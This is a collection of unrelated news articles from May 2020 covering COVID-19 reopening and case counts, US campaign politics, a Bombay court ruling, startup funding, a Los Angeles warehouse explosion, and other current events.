Portland Rose Festivals opening night is going virtual, with a concert and fireworks streaming on Facebook Friday.

As with most large events, Portlands annual Rose Festival has had to adapt to Oregon Gov. Kate Browns ban on large gatherings.

The Rose Festivals virtual kick off starts at 7 p.m. The show will be followed by a weekend Porch Parade that will feature a convoy of Rose Festival dignitaries driving through Portland-area neighborhoods.

Here are more developments to know Friday:

JOBS: The number of new jobless claims in Oregon climbed last week for the first time since March, underscoring that the economic toll of the coronavirus outbreak is far from over.

REOPENING: Oregon regulators are fast-tracking restaurant and bar applications to expand alcohol sales to city sidewalks and streets, a move that could help businesses comply with social distancing guidelines. Summer camp operators are scrambling to implement new practices to meet the states strict safety requirements.

CARE: The family of a man who died at a Southeast Portland nursing home last month has sued the establishment for $2.4 million after it became the site of the states largest and deadliest coronavirus outbreak.

CASES: The Oregon Health Authority on Thursday reported one new death linked to COVID-19.

BUSINESS: Oregonians can no longer pump their own gas at stations where self-service was not allowed before the coronavirus pandemic. Airbnb will correct a mix-up in Seaside that would have sent business relief money to vacationers instead of homeowners. The company changed course following inquiries from The Oregonian/OregonLive.

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The Bombay high court (HC) on Tuesday said that there is no bar on using reliable and acceptable hearsay as evidence in departmental proceedings against erring employees while upholding the dismissal of a professor and a library clerk of a Dombivli-based college.

The professor and the clerk had moved the HC after the University and College Tribunal at Mumbai, on January 27, 2016, upheld their dismissal from service in July 2013. They were sacked after the inquiry officer found them guilty of insubordination, dereliction of duty, etc.

The petitioners contended that they were victimised for seeking redressal of grievances of their colleagues, which irked the management and their dismissal was an act of vengeance by the college authorities.

They had also challenged the departmental action against them and the order of University and College Tribunal on various grounds.

Justice CV Bhadang, however, found no substance in the petitioners challenge. He said that there was no serious challenge to the findings of fact recorded by the inquiry officer.

The judge also rejected the petitioners arguments that a report prepared by a private detective, employed by the husband of the library clerk, could not have been used as evidence against the two in the department proceeding.

Besides the report was nothing but hearsay, as the private detective, who wrote the report, was not examined as a witness against them, the judge said.

Justice Bhadang said that strict rules of evidence do not apply to a departmental inquiry and there is no bar even on acting on hearsay evidence in a given case, if it is found to be reliable and acceptable.
A 20-year-old former BT Young Scientist winner has landed $16m (14.6m) in new funding from some of Silicon Valley's most prestigious US venture capital firms.

Dubliner Shane Curran closed the Series A investment round for his data privacy startup, Evervault.

The former data security chief for Yahoo and Facebook, Alex Stamos, has come on as a new investor, as have Eventbrite CEO Kevin Hartz and the chief of French firm Datadog', Olivier Pomel.

The heavy-hitting Silicon Valley firms backing the venture are led by Index Ventures with participation from Sequoia Capital and Kleiner Perkins and assistance from Dublin-based venture firm Frontline

7 years ago, Sequioa invested in the payments firm created by another former Young Scientist winner - Patrick Collison and his brother John. Stripe has gone on to become one of the world's most valuable private companies, valued at $35bn.

Evervault has now raised $19m in the last year.

Evervault hosts a network of hardware-secured data processing 'enclaves' which allows developers to deploy their applications in privacy 'cages'. These cages allow information to be processed securely with strictly controlled access but without changing the way that developers build their software.

Developers integrate with the Evervault API through their publicly available developer software development kits for all major architectures and frameworks.

"We're aiming to distil what GDPR did in 99 Articles down to a line of code," said Mr Curran. "This is conceptually simple, but operationally complex. We're building cages alongside specific companies which handle extremely sensitive data. Think location data, banking data, payments data, kids' data, health data and more. At Evervault, we believe that data privacy isn't a regulatory problem; it's a technology problem."

But he said that the "glamour" of funding launches were overrated.

"I've always been of the view that funding announcements are a complete distraction," he said. "We are under no illusions about our progress. All we should be judged on is the execution of our grand plan, which is to build privacy cages, the most secure computation units for safely processing sensitive data."
President Donald Trump has been delivering his latest rallying cry in all-caps, a self-described "wartime president" defiantly thumbing his nose at the cautions of governors and scientists wary of a viral resurgence if the country returns too quickly to normal.

"REOPEN THE COUNTRY!" he tweeted this week. "TRANSITION TO GREATNESS."

The exhortations follow a political strategy his advisers hope can help frame the coming election season: A president who had hoped to run on his economic record as a job creator might still be able to reclaim the brand despite the historic economic collapse by painting Democrats as opponents of an economic resurrection.

But for the moment, Democrats say they are not worried about the offensive - and convinced instead that it will backfire. From the campaign of presumptive Democratic nominee Joe Biden down to local House races, operatives and lawmakers point to new public and private polling to argue that Trump is out of step with a nation worried about a new wave of coronavirus outbreaks and a second economic freeze.

"There is no doubt that people are anxious to get back to work, but what you see from Vice President Biden's campaign is just much more realistic," said Rep. Conor Lamb, D-Pa.

The result is a partisan messaging clash that is likely to last for months, as the country undergoes what appears to be a gradual release from the paralyzing social distancing policies Trump embraced with the nation's governors over 45 days this spring. Democrats are positioning themselves as the party of gradual caution and health concern, while Trump claims the space of bold action and economic bullishness.

The contrast can be seen daily on what passes for the campaign trail these days. Trump has returned to traveling the country on Air Force One, while refusing to wear a mask, as Biden claims to be quite content with campaigning from his Delaware home, where he has been spotted wearing a mask even inside. And as Trump demands that his party move forward with a grand nominating convention of thousands in North Carolina, Democrats are increasingly suggesting that a virtual meeting would be better than an arena show in Wisconsin.

Trump cheers on unmasked protesters railing against social distancing, urges his advisers to get him back to holding mass rallies and even shares a video testimonial of a Boston businessman saying that he would rather get sick than keep his business closed. He has gone so far as to accuse Democrats of intentionally undermining the economy to win in November.

"The Democrats are moving slowly, all over the USA, for political purposes," he tweeted.

White House officials say that Democrats could pay a political price if they come to be seen as obstructionist scolds amid the effort to reopen the country. Trump has repeatedly criticized Michigan for its handling of the virus - an attack that seems driven by a particular animus for its Democratic governor, Gretchen Whitmer. Trump visited the state Thursday to tour a Ford plant that is manufacturing ventilators.

"Instead of working to reopen the nation, Democrats are preoccupied with appeasing their leftist base," Trump campaign spokesman Ken Farnaso said in an email statement. "In fact, President Trump has led America to its greatest heights and is the only person equipped to do it again."

The Democratic confidence that this will fail is anchored in extensive surveys that suggest the fight over opening more quickly is largely taking place within the Republican base, with Democrats and independents largely united in their conviction that the only way to recover economically is to focus first on preventing more outbreaks of disease.

A recent Quinnipiac University national poll found that 75 percent of voters say the country "should reopen slowly, even if it makes the economy worse," rather than "reopen quickly, even if it makes the spread of the coronavirus worse." Only 21 percent of independents and 4 percent of Democrats said they wanted a quicker reopening. The same poll found Biden with a 16-point advantage in his handling of the coronavirus pandemic, while he and Trump were effectively tied in their handling of the economy.

"The public is very clearly in a position where they of course want things to open, but they are very concerned about a second wave and they are very concerned about things that will prolong the crisis," said Nick Gourevitch, a Democratic pollster who does research for Navigator Research, a consortium of liberal groups that seeks to inform party strategy. "The gambit could only work for Trump if there is no second wave and there is no repercussion for pushing things open too quickly."

On Capitol Hill, Democratic lawmakers have unified around the idea that the best path to economic revival is listening to health experts.

"The idea that we can achieve economic development without a science-based approach is a fantasy," said Sen. Brian Schatz, D-Hawaii. "Everybody understands we can't stay closed forever. The question is, can we do it based on the whims of a president who doesn't know what he's talking about or based on the guidance from the people who know what they're talking about?"

Kristen Soltis Anderson, a Republican pollster and co-founder of Echelon Insights, has also found indications that the White House may be overestimating the public's eagerness to return to daily life - at least when weighed against the potential risks.

"If leaders appear overeager to go back to normal operations before Americans feel confident that we can do so safely, those groups who are at particular risk of the health consequences - seniors - may be none too thrilled with that direction," Anderson wrote in an email.

Yet inside the White House, many top advisers argue that although Trump deserves praise for any economic recovery, he should not be held accountable for new virus outbreaks as the country starts to reopen. Any fault, they say, likely rests with the nation's governors.

"The governors mostly yelled when they thought that the president was robbing them of their responsibility to make the final decision on how and when to reopen," said Kellyanne Conway, a counselor to the president. "This is the governors' final decision, for which they bear responsibility."

She added: "The president has deployed money, personnel, supplies and other resources to each state, has not compelled any one state to reopen, yet he is pleased that all 50 states now have some sort of reopening plan."

The president's focus on the economy reflects a growing sentiment among his top advisers that the nation is trending toward reopening and Americans simply cannot stay at home much longer if the economy is to avoid "permanent damage," as Treasury Secretary Steven Mnuchin testified before Congress on Tuesday.

"In October, if the economy is beginning to move forward and we have therapies in place that are effective and there's a vaccine on the horizon, I think the president will be in good shape regarding the politics of the virus," said Sen. Lindsey O. Graham (R-S.C.), a Trump ally.

A key goal of the White House, said a senior administration official, is to "bring down the temperature" of the nation and convince the public that it is safe to return to daily life, while following certain guidelines for reopening. This official, who spoke on the condition of anonymity to discuss internal talks, noted that Trump's team understands there may be some outbreaks as part of the process, but believes the administration is now better equipped to handle such flare-ups.

White House aides have also argued that Trump's rhetoric about faster reopening is not discordant with current polling.

"President Trump wants the country to reopen, but he wants it to reopen in a reasonable, rational, responsible way," White House spokesman Hogan Gidley said. "And for a majority of the country, it's time to begin to do that."

The Biden campaign remains focused on blaming Trump for the depth of the crises, calling for a more muscular federal testing infrastructure and providing new support to rebuild the economy. His top advisers are operating on the assumption that Trump's tactics - driving daily conflict - will perform less well in his second race for the White House.

"In 2016, Donald Trump owned the rhetoric. In 2020, he owns the reality," said Jake Sullivan, a top policy adviser for Hillary Clinton who now works in a similar role for Biden. "In 2016, slogans like 'Reopen' or 'Transition to Greatness' were unencumbered by any accountability and reality. In 2020, he is the president."

In the states, however, there are diminishing partisan differences in how state leaders are handling the reopening, with many moving faster in areas where there has been less infection, as federal health officials have recommended.

"A lot of states have been doing exactly what we asked them to: find, test, contract trace, and contain," Deborah Birx, the White House coronavirus response coordinator, said in a briefing Tuesday with reporters.

Birx paraphrased the governor of Mississippi, who in conversations with her had likened reopening to "a dimmer switch."

"And we're just going to turn it a little bit every day until we can see if people's behavior changed enough to stem the spread of the virus," she said.

Beyond the call for caution and a scientific focus, Democrats have so far held back from putting detailed proposals to guide reopening of their own. Biden's focus has been to call for more federal testing and contact tracing efforts.

The most ambitious Democratic proposal beyond that - the House's Reopen America Act - would put the Department of Health and Human Services and an expert advisory panel in charge of approving state reopening plans, using the lure of federal assistance money to ensure state cooperation.

But despite the support of 67 House Democrats, the measure was not included in a coronavirus response bill that passed the House last week and is expected to form the basis for negotiations with Republicans for the next bipartisan package.

For now, the public is embracing a more cautious approach. In Wisconsin, a pivotal battleground state, a Marquette University Law School poll this month found just 31 percent of voters supported recent demonstrations calling for quicker reopening, while 63 percent of the state opposed them. More than half of Republicans, however, supported the demonstrations.

"Wisconsinites are as eager as anyone to reopen," said Sen. Tammy Baldwin, D-Wis., a potential vice presidential pick for Biden. "We just know we have to do it safely. The partisan nature of Trump's statements is wearing very thin."

- - -

The Washington Post's Mike DeBonis and Anne Gearan contributed to this report.
Source: Xinhua| 2020-05-22 05:41:40|Editor: huaxia

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KHARTOUM, May 21 (Xinhua) -- Sudan on Thursday announced 410 new COVID-19 infections and 10 more deaths in the past three days, bringing the total confirmed cases to 3,138 and the death toll to 121.

Meanwhile, 23 more patients have recovered from the virus, taking the total recoveries to 309, the health ministry said in a statement.

Health Minister Akram Ali Al-Tom attributed the intensive transmission of the disease to the slack implementation of the health ban.

"There is a noticeable slack in controlling the curfew which made the city full of movement as if a ban order has not been issued," Al-Tom said in a separate statement.

"There is easy inter-state travel by private vehicles and easy movement between the different areas of the capital, particularly during the night," he added.

On April 18, the Sudanese government imposed a three-week curfew on Khartoum State.

The curfew had been extended for 10 days from May 9 and again for two more weeks from May 18. Enditem
Black conservatives skewer Joe Biden for suggesting blacks who vote for Trump over him aint black

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Presumptive Democratic presidential nominee and former Vice President Joe Biden was being skewered by black Americans and others online Friday after he suggested in an interview with a prominent black New York City radio host that if he struggled to vote for him over President Donald Trump he aint black.

The testy exchange came when Charlamagne Tha God, co-host of the popular The Breakfast Club radio show on New York Citys Power 105.1, questioned Biden about reports that he was considering Minnesota Sen. Amy Klobuchar, who is white, to be his vice president even though his campaign was saved by loyal black women voters from the south.

I dont know if you saw the op-ed in The Washington Post by some of the leading black women voices in the country and they feel since black women are such a loyal voting bloc and black people saved your political life in the primaries this year. They have things they want from you and one of them is a black woman running mate. What do you say to them? Charlamagne Tha God asked.

What I say to them is that Im not acknowledging anybody who is being considered but I guarantee you, there are multiple black women being considered. Multiple," he said, before he was interrupted by a handler for a second time during the interview telling him they had to wrap up.

This is disgusting.



Joe Biden: "If you have a problem figuring out whether you're for me or Trump, then you ain't Black." pic.twitter.com/UvYZTjcPqZ  Trump War Room - Text TRUMP to 88022 & get the APP (@TrumpWarRoom) May 22, 2020

The host protested the abrupt ending and quipped, you cant do that to black media.

Biden responded that he couldnt do it to white or black media but he needed to leave so his wife could make an appointment.

The former vice presidents comments then came after Charlamagne Tha God urged him to visit the shows studio in New York City for a sit down interview because its a long way until November and we got more questions.

You got more questions but I tell you, if you have a problem figuring out whether youre for me or Trump you aint black, Biden shot back.

The radio host then tried to explain to him that the questions he wanted to ask had nothing to do with Trump but his (Biden's) agenda for African Americans.

It dont have nothing to do with Trump. It has to do with the fact that I want something for my community. I would love to see... Charlamagne Tha God said before he was quickly cut off by Biden.

Take a look at my record, man! I extended the Voting Rights Act 25 years. I have a record that is second to none. The NAACP has endorsed me every time I run. I mean, come on. Take a look at the record, Biden insisted.

As the interview and clips of it made the rounds on social media, Biden's comments drew rebuke from African Americans across the political spectrum and others including Republican South Carolina Sen. Tim Scott.

1.3 million black Americans already voted for Trump in 2016. This morning, Joe Biden told every single one of us we aint black. Id say Im surprised, but its sadly par for the course for Democrats to take the black community for granted and brow beat those that dont agree, he wrote on Twitter Friday morning.

#joebiden said If you have a problem figuring out if you are for him or Trump.. you aint black Do you agree ??  The Breakfast Club (@breakfastclubam) May 22, 2020

I woke up to news this morning that apparently, I aint black @JoeBiden - who are you, to tell 1+ million black Americans who voted for @realDonaldTrump, that we arent black? added Vernon Jones, a black Republican state representative from Georgia, on Twitter.

Sen. Lindsey Graham, R-S.C., also slammed Bidens comments as truly offensive.

The comments from @JoeBiden were truly offensive, but a rare and honest insight into liberals thinking. Liberals believe you really cant be black, Latino, female, or intelligent unless you support their liberal agenda, he wrote in a statement on Twitter.

In a Twitter poll by The Breakfast Club that had more than 30,000 respondents as of Friday morning nearly 90% disagreed with the former vice presidents comments.

Symone Sanders, a senior campaign advisor to Joe Bidens campaign, said in a statement Friday that Biden was only joking.

The comments made at the end of the Breakfast Club interview were in jest, but lets be clear about what the VP was saying: he was making the distinction that he would put his record with the African American community up against Trumps any day. Period, she wrote on Twitter.
Metro Manila (CNN Philippines, May 22)  The Department of the Interior and Local Government is still collating reports on poor families who were left out of the first tranche of the Social Amelioration Program.

Because from the LGUs (local government units), it goes to the provinces and then to the regions and then to us in DILG Central, DILG Undersecretary Jonathan Malaya said in a text message, explaining why it may take a few days before they can come up with the final list.

President Rodrigo Duterte approved the inclusion of an additional five million families for the cash aid program, after LGUs complained that the original scope excluded a substantial number of qualified beneficiaries.

Officials cannot say when distribution for the second tranche will begin but they had assured that families left out in the initial distribution will be prioritized in the second tranche.

Malaya said he doesnt believe beneficiaries are getting impatient, assuming that they received cash aid for the month of April.

The first tranche SAP is good for 1 month as computed by NEDA/DOF (National Economic and Development Authority/Department of Finance). May pera pa (ang) mga tao. So long as we distribute by the first week of June, were still on target, Malaya said.

A tedious review of the initial distribution is also causing delays.

LGUs tasked to distribute cash grants for the month of April are required to submit liquidation reports to the Department of Social Welfare and Development.

The DSWD said it has received liquidation reports from 1,270 LGUs. It is not clear if the agency has been able to finish validating any of these reports.

Ang proseso po ay medyo mahaba. Meron pa pong mga dapat i-konsidera na hindi pa nakakapagbigay o tapos ng liquidation process kung kaya't kailangan matapos ito dahil ito ang nakasaad sa batas, DSWD Undersecretary Rene Paje said in an online briefing on May 20.

[Translation: The process is quite long. We also have to consider those who have not yet submitted or completed the liquidation process, and this needs to be done first to comply with the law.]

Under the Bayanihan Act, 18 million poor families affected by quarantine measures will receive a P5,000 to P8,000 cash grant for the months of April and May.
Shanghai (Gasgoo)- During this year's two sessions, Chen Hong, chairman of SAIC Motor Corporation Limited and a deputy to the 13th National People's Congress, proposed supporting the eligible regions in speeding up the development of intelligent-connected vehicles (ICVs).

He proposed the Chinese government to break through the restriction of laws and regulations in some designated routes and regions under administrative control first to meet ICVs' road testing demands. The eligible regions like the Yangtze River Delta should be encouraged to build the pilot zones for highly automated (Level 3 or above) autonomous driving applications in places with favorable development conditions such as Shanghai's Donghai Bridge and International Automobile City at Jiading District.



By coordinating with relevant state's departments, local governments should allow the pilot zones to have highly automated cars tested and applied on expressways or viaducts, and take the lead in conducting in specific areas the commercial trial of passenger-/goods-carrying autonomous vehicles without human safety guard, he said. These moves are beyond limitations of current laws and regulations.

He also proposed to accelerate the construction of the so-called new infrastructures for intelligent automobile industry. The eligible regions should be upheld in expediting the building of smart vehicle-related infrastructure system starting with 5G-enabled facilities, ICVs and intelligent transport system, etc., and moving faster on fostering pertinent innovation and industry chains.



China should also improve the management level of urban transport business and gradually relax cities' traffic restriction and automobile purchase limitation, he stated.

He suggests that cities speed up the replacement of the simple traffic restriction with approaches based on big data and smart traffic management system. Driven by the new infrastructure development, the pace of constructing 5G and big data facilities will largely pick up. Through integrating the data of Internet-based road conditions and smart traffic management, a thorough perception to pedestrians, vehicles, roads, transport equipment and real-time traffic conditions will be achieved.

Traffic restriction should be gradually supplanted by market-driven methods, such as applying dynamic management to areas suffering severe traffic jams, and increasing vehicles' running costs in peak hours.

He also proposes to strengthen the building of stereoscopic parking garages at residential quarters, and launch the platforms for parking spot sharing (photo source: SAIC Motor's WeChat account).
The key evidence on the safety and impact of reopening schools has been published by the government's scientific advisory group, Sage.



Sources involved said the risk of coronavirus to pupils going back to the classroom was "very, very small, but it is not zero".



They also said teachers were not at above average risk compared with other occupations.



However, there is much uncertainty throughout the advice.



There have been loud calls from within the teaching profession to see the advice, which led to England aiming to get Reception, Year 1 and Year 6 back in school from the start of June. Meanwhile, Scotland and Northern Ireland are aiming for a phased return to school in August. Wales hasn't yet made a decision.



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Iran says South Pars development will fully finish by March 2021

Iran Press TV

Thursday, 21 May 2020 9:06 PM

Iran's oil minister Bijan Namadar Zanganeh says the country would wrap up development work at South Pars gas field, the world's biggest natural gas reserve located in the Persian Gulf, by late March 2021 when the current Iranian calendar year comes to its end.

"Development stages for the massive South Pars gas field will finish this year," said Zanganeh on Thursday in an interview with the IRIB news agency.

The comments came hours after an Iranian contractor responsible for developing the Phase 11 of South Pars began installation work for a supersize jacket that is expected to hold the 11B drilling platform.

Zanganeh said installation of the jacket is a major part of building out Phase 11, the last and most complicated of all 28 phases of South Pars in terms of development. He added that once the rig is fully installed, the contractor would be able to drill 12 offshore wells on the site of the project.

Iran hopes full development of phase 11 of South Pars could increase production by nearly 57 million cubic meters (two billion cubic feet). That comes as the project had stalled for two years after French energy giant Total and China's CNPC withdrew under increasing pressure from the United States.

Zanganeh said total production from all phases of South Pars would top 750 million cubic meters per day until the end of the current calendar year in March.

The minister said that would mean a triple increase in production from the field compared to 2013, when the current administrative government took office.

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Every night when Mirna Blancos daughter picks her up from from her job cleaning downtown Houston buildings, she has already disinfected her hands and arms at least twice before getting into the cars back seat. Blanco wants to keep a protective distance from her daughter, wondering if that is going to be the day she brings the COVID-19 virus home.

Once she gets to their home in Veterans Memorial area, Blanco will not kiss her husband or her two daughters until after a ritual of personal cleaning and washing clothes that she has followed since March, when the virus took hold of Houston.

Still, for all her precautions, the 55-year-old woman feels unsafe at work and is also not sure if she is protecting those who work in the buildings she cleans. On Thursday, she joined about 30 janitors who protested working conditions during the pandemic, saying cleaning contractors lack safety protocols. As part of the demonstration in front of the First City Tower, janitors handed out masks to each other before going to work at nearby buildings.

Service Employees International Union organized the protest.

Our members, janitors who have been in the frontline disinfecting and cleaning buildings, are concerned about having to work without been provided adequate Personal Protective Equipment said Elsa Caballero, president of the Texas branch of the union. The Houston area has about 3,000 members.

Caballero said that janitors are getting inadequate levels of protection, which varies by employer.

In some instances, she said, employers are requesting that janitors use their own masks. Others, including Blancos employer, provide a fabric reusable mask.

Nobody has told me how I should handle the mask or how to clean (the spaces) now with this virus, said Blanco. I wash the mask every day, but I always wonder if thats enough.

Now that people are returning to work, she said she has become anxious.

Workers rely on us to keep their spaces clean, she said, but we need to be well protected so we dont spread the virus or bring it home.

Blanco didnt want to name her employer for fear of retaliation.

Wearing a reusable fabric mask is not considered an appropriate protection for janitors, according to some employers.

Armando Escarcega, owner of Office Pride Commercial Cleaning Services in Houston, said janitors should use N95 or KN95 masks, which can be used several times, or disposable mask and gloves with the ability to change them as needed.

Russell Carr, President of Berg Compliance Solutions, environmental, health and safety consulting company based in Austin, added that fabric face masks are not considered PPE because theyre intended to protect the environment from the user rather than the user from the environment.

Janitorial related work exposes janitors to potential COVID-19 infections due to exposure with the public, who might be infected, and exposure to potentially contaminated surfaces which they are required to contact and clean, said Carr. The primary control measure in this scenario is PPE in the form of respiratory protection, such as an N95.

Denise Rousseau, professor of organizational behavior and public policy at Carnegie Mellon University's Heinz College, said that janitors need to take more protective precautions, and to follow guidelines established by Occupational Safety and Health Administration and Centers for Disease Control and Prevention. Many of those same guidelines apply for front-line workers as well, she said.

Especially for people cleaning bathrooms, but for anybody coming in contact with metal surfaces and counters, appropriate PPE includes face masks, gloves, goggles, shoe covers and clothing that covers arms and legs and can be taken off and washed at end of shift, Rousseau said.

Caballero, the union president, said janitors are also requesting that employers provide health and safety training as well as paid sick leave for COVID-19 related illness or exposure. They typically only have two of such days in their contracts.

The union leader also said that many janitors are being asked to sanitize more spaces in less time because their work hours have been cut.

I go to work in some floors where there are like 100 offices, and I go to clean one by one, Blanco said. You never know. But I hope people understand that we have to take care of each other.

to:olivia.tallet@chron.com

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NASA said Friday that it has given the green light to next weeks launch of two astronauts aboard a SpaceX vessel -- the first crewed space flight to leave from US soil in nine years.

Top officials at the US space agency and Elon Musks company have been meeting since Thursday at the Kennedy Space Center in Florida for final verifications ahead of the May 27 mission.

The Flight Readiness Review has concluded! NASAs SpaceX Crew Dragon mission is cleared to proceed toward liftoff, the US space agency said on Twitter.
A Los Angeles fire captain has lost the use of both of his hands after he made sure his crew was safe before escaping a terrifying inferno at a hash oil warehouse at the weekend.

Captain Victor Aguirre was the most seriously injured in the explosion at Smoke Tokes, a distributor and wholesaler of smoking and vaping products, in Downtown LA Saturday night, suffering third-degree burns and losing the use of both hands.

Aguirre is one of 12 firefighters who suffered injuries after they had to run through a wall of flames estimated to be as much as 30 feet high and wide, when the flaming building suddenly exploded without warning.

The LAFD is now investigating the cause of the explosion and has said it will launch a review into the way vape and smoke shops store volatile materials across the city, putting firefighters' lives at increased risk when responding to incidents.

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Captain Victor Aguirre has lost the use of both of his hands after he made sure his crew was safe before escaping a terrifying inferno at a hash oil warehouse at the weekend

Aguirre has been hailed a hero by LA Fire Department Chief Ralph Terrazas who said the father of two put the lives of his crew before his own when they found themselves engulfed by flames.

'I have to say I am so impressed with Capt. Aguirre,' Terrazas told KTLA Thursday.

'He was the last one off the roof. He made sure all of his firefighters were down before he exited the roof.'

Aguirre was said to be working an overtime shift the night of the tragedy.

A GoFundMe page set up for him and his family had reached $149,350 of its $150,000 target by 2pm Friday.

This comes as the LAFD announced it will launch a citywide review into how some businesses in the area store volatile materials.

Terrazas told KTLA that every fire station in LA will work to identify other businesses - such as other vape and smoke shops - that may be storing materials that increase the chance of an explosion.

LAFD Chief Ralph Terrazas said the father of two put the lives of his crew before his own and was the 'last one on the roof' when they became engulfed in flames (above)

The LAFD is now investigating the cause of the explosion (above) and has said it will launch a review into the way vape and smoke shops store volatile materials across the city, putting firefighters' lives at increased risk when responding to incidents

These businesses will then have to display placards outside to make firefighters aware when responding to the scene.

It is hoped this will better protect the city's firefighters and ensure the department is aware of potential increased dangers before entering buildings.

'If they arrive on scene of a building of this type they will have an indicator of the type of contents that would exist in the building,' Terrazas said.

'That gives them another clue as to the danger, as to the threat, to them as they proceed on the roof or inside.'

A criminal probe is under way into the cause of the horrifying blaze and explosion that ripped through the Smoke Tokes building at around 6:30p.m. Saturday.

Aguirre is one of 12 firefighters who suffered injuries after they had to run through a wall of flames estimated to be as much as 30 feet high and wide, when the flaming building suddenly exploded without warning

There was light to moderate smoke when firefighters responded to the fire at the one-story building in the city's Toy District, owned by the supplier of butane honey oil or hash oil.

Thinking they were responding to a routine structure fire, the firefighters entered the building and went on the roof - normal procedures to try to quickly knock down any flames.

Terrazas said one of the firefighters inside the building thought things didn't seem right - the pressure from the smoke and heat coming from the rear of the building were increasing.

He directed everyone to get out, and the crew quickly started exiting the building as it was rocked by the explosion.

The wall of flames shot out of the building and burned seats inside a fire truck across the street.

Firefighters were seen desperately trying to make their way out of the building on a ladder, with some becoming engulfed in flames as they tried to reach safety.

Others ran out onto sidewalks, where they tore off their burning protective equipment, including melted helmets.

The explosion triggered a mayday call and more than 230 firefighters rushed to the scene.

The fire spread to several nearby buildings, but firefighters managed to put it out in around two hours.

Carbon dioxide and butane canisters were found inside the building after the fire but the cause of the blast continues to be under investigation.

A total of 12 firefighters were injured in the explosion, with 11 hospitalized.

All of the injured apart from Aguirre have been released from hospital.

On Sunday, police and fire investigators launched a criminal probe into the cause of the blast.

Horrifying images show the moment firefighters desperately tried to escape a building following an explosion in downtown Los Angeles. The firefighters can be seen climbing down the ladder of their firetruck in this image

At least six firefighters are seen making their way out of the building on a ladder after attempting to tackle the massive blaze

Detectives from the Los Angeles Police Department's major crimes division were working with investigators from the Fire Department's arson team to determine what might have sparked the explosion that shot a ball of flames out of the building and scorched a fire truck across the street, police spokesman Josh Rubenstein said.

'We're in the very early stages of the investigation ... to understand what happened and figure out how to move forward,' he said.

The federal Bureau of Alcohol, Tobacco, Firearms and Explosives is assisting local fire investigators, an agency spokeswoman said.

Smoke Tokes is a supplier for makers of 'butane honey oil', an odorless gas that easily ignites and is used to extract the high-inducing chemical THC from cannabis to create a highly potent concentrate also known as hash oil.

The oil is used in vape pens, edibles, waxes and other products.

On its website, SmokeTokes advertises a variety of products including 'puff bars,' pipes, 'dab' tools, vaporizers, 'torches and butane,' and cartridges.

The company says it is 'an international distributor and wholesaler of smoking and vaping products, and related accessories'.

Detectives from the Los Angeles Police Department's major crimes division are working with investigators from the fire department's arson team to determine what might have sparked the blast

The blast injured a dozen firefighters. Some of them who ran out onto sidewalks, where they tore off their burning protective equipment

The wall of flames shot out the building and burned seats inside a fire truck across the street

Adam Spiker, executive director of the cannabis industry group Southern California Coalition, said this week he didn't know what activities were taking place inside the building.

However, if the business was using butane in cannabis extraction it would be illegal because the city has never issued a license for that type of operation.

Because of safety concerns, such businesses are typically restricted to industrial areas and kept away from urban centers.

'If they were doing volatile extraction with butane ... they couldn't be legal in the city of LA to do those types of activities,' Spiker said.

He said the coalition was unaware of the business having any type of license and 'something about this doesn't pass the smell test'.

Information so far 'puts up a lot of alarm bells,' Spiker said.

In 2016, there was another major fire at a business called Smoke Tokes at a nearby address.

The Los Angeles Times reported at the time that it took more than 160 firefighters to put out the blaze and that they encountered pressurized gas cylinders that exploded in the fire.

No one was injured in that fire. It was unclear whether that business and the one that burned Saturday were connected.
BEIJING (Reuters) - China said on Friday it opposed foreign interference in Hong Kong and that no country would allow separatists to endanger national security, responding to the latest U.S. criticisms about Beijing's handling of the city.

Chinese foreign ministry spokesman Zhao Lijian made the remarks during a daily briefing. Beijing plans to impose new national security legislation for Hong Kong, which has prompted alarm among activists who believe the new regulation could further erode freedoms in the city.

Zhao said Beijing seeks cooperation and dialogue with Washington but will fight back if the United States tries to oppress China.

(Reporting by Gabriel Crossley; writing by Se Young Lee; Editing by Toby Chopra)
A Florida resident gets tested for the coronavirus on April 30, 2020.

David Santiago/Miami Herald/Tribune News Service via Getty

Florida Gov. Ron DeSantis stayed largely quiet about coronavirus in February, before issuing a state of emergency on March 1.

Documents obtained by The Miami Herald, though, show the state's health officials had been working behind the scenes in preparation for the pandemic for weeks.

Health officials expressed concern in mid-February about the state's ability to handle a growing pandemic.

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In February, Florida officials were largely silent about the coronavirus coming on to the state's shores.

The state's governor, Ron DeSantis, barely mentioned the illness to the public at all.

Behind the scenes though, public health officials were working throughout the month to prepare for the crisis, according to documents and emails obtained by The Miami Herald.

The records show a stark contrast between the findings of the state health department, and the amount of information DeSantis gave the public in the early weeks of the pandemic, according to the Herald.

As of Thursday, there were 48,675 cases of coronavirus in Florida, and 2,144 deaths, according to data from Johns Hopkins University.

By February 13, the state Department of Health was aware of the public health threat and had already assembled its emergency response team to deal with coronavirus management.

Around the same time, several health officials had already started sounding alarm bells, noting their concerns about the pending pandemic.

A top Florida health official said she was fired for not manipulating coronavirus data, while Gov. Ron DeSantis has started reopening the state.

Joe Raedle/Getty Images

One person who voiced his concerns was Raul Pino, director of the Department of Health's office in Orange County, according to The Herald. In a February 15 email to an official at the Florida Department of Health in Tallahassee, he said the department was stretched thin as it tried to comply with U.S. Centers for Disease Control and Prevention guidance to monitor people who may have been exposed to the virus.

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"At this point we are following 67 individuals and we must establish contact within 24 hours," Pino wrote in the email, obtained by the Herald. "We can manage as we are  and I am moving additional resources  but, if the volume continues to increase, we may face some resistance."

He even asked the DOH about declaring a local agency emergency in order to acquire more resources for the state's coronavirus response, according to The Herald.

By this time, the state was already monitoring hundreds of people for possible exposures, The Herald reported.

In early days, state officials hardly discussed the virus publicly

Health department memos marked "confidential"  which were viewed by The Herald  showed that by February 18, more than 500 people in Florida had been flagged for potential exposures. Around a dozen people had been tested, all with negative results.

The state refused to release those numbers at the time, even to local hospitals and to state senators at a public hearing.

Despite the growing concern inside the health department, the DeSantis didn't issue a serious warning to the public about the threat until his office declared a state of emergency on March 1.

Before then, the office only issued two press releases about the coronavirus: One on January 24, announcing the launch of a web page with information on coronavirus, and another on February 25 that talked about coronavirus preparedness in the state, according to The Herald.

Florida Governor Ron DeSantis speaks during a news conference at the Miami Beach Convention Center in Miami Beach, Florida, U.S. April 8, 2020.

Al Diaz/Pool via REUTERS

DeSantis, a Republican, had acknowledged that the coronavirus was a "significant public health threat" during a January 27 news conference, but stayed largely quiet on the topic after that. It was only a month later, at a different news conference, that he said the state was preparing for coronavirus, but stressed that there were no confirmed cases.

The state's health department, however, had received its first positive COVID-19 test result a day earlier, according to internal records obtained by the Herald. The CDC just hadn't confirmed the result.

